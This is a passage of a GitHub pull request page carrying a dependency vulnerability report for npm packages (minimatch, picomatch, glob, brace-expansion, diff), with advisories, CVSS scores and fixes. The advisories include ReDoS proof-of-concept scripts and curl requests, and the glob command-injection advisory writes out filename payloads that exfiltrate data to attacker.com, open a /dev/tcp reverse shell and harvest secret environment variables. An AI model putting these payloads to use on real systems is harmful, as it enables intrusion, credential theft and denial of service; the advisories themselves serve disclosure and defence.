The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

high 7.5: CVE--2026--27903 Inefficient Algorithmic Complexity

Affected range>=9.0.0
<9.0.7
Fixed version9.0.7
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.027%
EPSS Percentile7th percentile
Description

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

critical: 0 high: 1 medium: 1 low: 0 picomatch 4.0.3 (npm)

pkg:npm/picomatch@4.0.3

high 7.5: CVE--2026--33671 Inefficient Regular Expression Complexity

Affected range>=4.0.0
<4.0.4
Fixed version4.0.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
Description

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • disable extglob support for untrusted patterns by using noextglob: true
  • reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
  • enforce strict allowlists for accepted pattern syntax
  • run matching in an isolated worker or separate process with time and resource limits
  • apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

  • Picomatch repository: https://github.com/micromatch/picomatch
  • lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms
  • Comparable ReDoS precedent: CVE-2024-4067 (micromatch)
  • Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)

medium 5.3: CVE--2026--33672 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range>=4.0.0
<4.0.4
Fixed version4.0.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.168%
EPSS Percentile38th percentile
Description

Impact

picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.

This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.

All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].

  • Avoiding the use of POSIX bracket expressions if user input is involved.

  • Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:

    const POSIX_REGEX_SOURCE = {
      __proto__: null,
      alnum: 'a-zA-Z0-9',
      alpha: 'a-zA-Z',
      // ... rest unchanged
    };

Resources

critical: 0 high: 1 medium: 0 low: 0 glob 10.4.2 (npm)

pkg:npm/glob@10.4.2

high 7.5: CVE--2025--64756 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range>=10.2.0
<10.5.0
Fixed version11.1.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.022%
EPSS Percentile6th percentile
Description

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@<!-- -->10.5.0, glob@<!-- -->11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/cross-spawn@7.0.3

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.067%
EPSS Percentile21st percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 0 medium: 1 low: 1 brace-expansion 2.0.1 (npm)

pkg:npm/brace-expansion@2.0.1

medium 6.5: CVE--2026--33750 Uncontrolled Resource Consumption

Affected range>=2.0.0
<2.0.3
Fixed version5.0.5
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.058%
EPSS Percentile18th percentile
Description

Impact

A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.

The loop in question:

https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184

test() is one of

https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113

The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.

This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.

Patches

Upgrade to versions

  • 5.0.5+

A step increment of 0 is now sanitized to 1, which matches bash behavior.

Workarounds

Sanitize strings passed to expand() to ensure a step value of 0 is not used.

low 1.3: CVE--2025--5889 Uncontrolled Resource Consumption

Affected range>=2.0.0
<=2.0.1
Fixed version2.0.2
CVSS Score1.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
EPSS Score0.092%
EPSS Percentile26th percentile
Description

A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.

critical: 0 high: 0 medium: 1 low: 0 brace-expansion 5.0.4 (npm)

pkg:npm/brace-expansion@5.0.4

medium 6.5: CVE--2026--33750 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.5
Fixed version5.0.5
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.058%
EPSS Percentile18th percentile
Description

Impact

A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.

The loop in question:

https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184

test() is one of

https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113

The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.

This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.

Patches

Upgrade to versions

  • 5.0.5+

A step increment of 0 is now sanitized to 1, which matches bash behavior.

Workarounds

Sanitize strings passed to expand() to ensure a step value of 0 is not used.

critical: 0 high: 0 medium: 0 low: 1 diff 5.2.0 (npm)

pkg:npm/diff@5.2.0

low 2.7: CVE--2026--24001 Inefficient Regular Expression Complexity

Affected range>=5.0.0
<5.2.2
Fixed version5.2.2
CVSS Score2.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U
EPSS Score0.020%
EPSS Percentile5th percentile
Description

Impact

Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.

Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).

The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.

Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(n³) time to parse.

Patches

All vulnerabilities described are fixed in v8.0.3.

Workarounds

If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.

References

PR that fixed the bug: kpdecker/jsdiff#649

CVE Notes

Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.

@nicholasdille nicholasdille changed the title feat(rhino): Added feat(rhino): Added (MANGLED) Apr 22, 2026
@nicholasdille nicholasdille deleted the rhino branch April 22, 2026 08:44
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants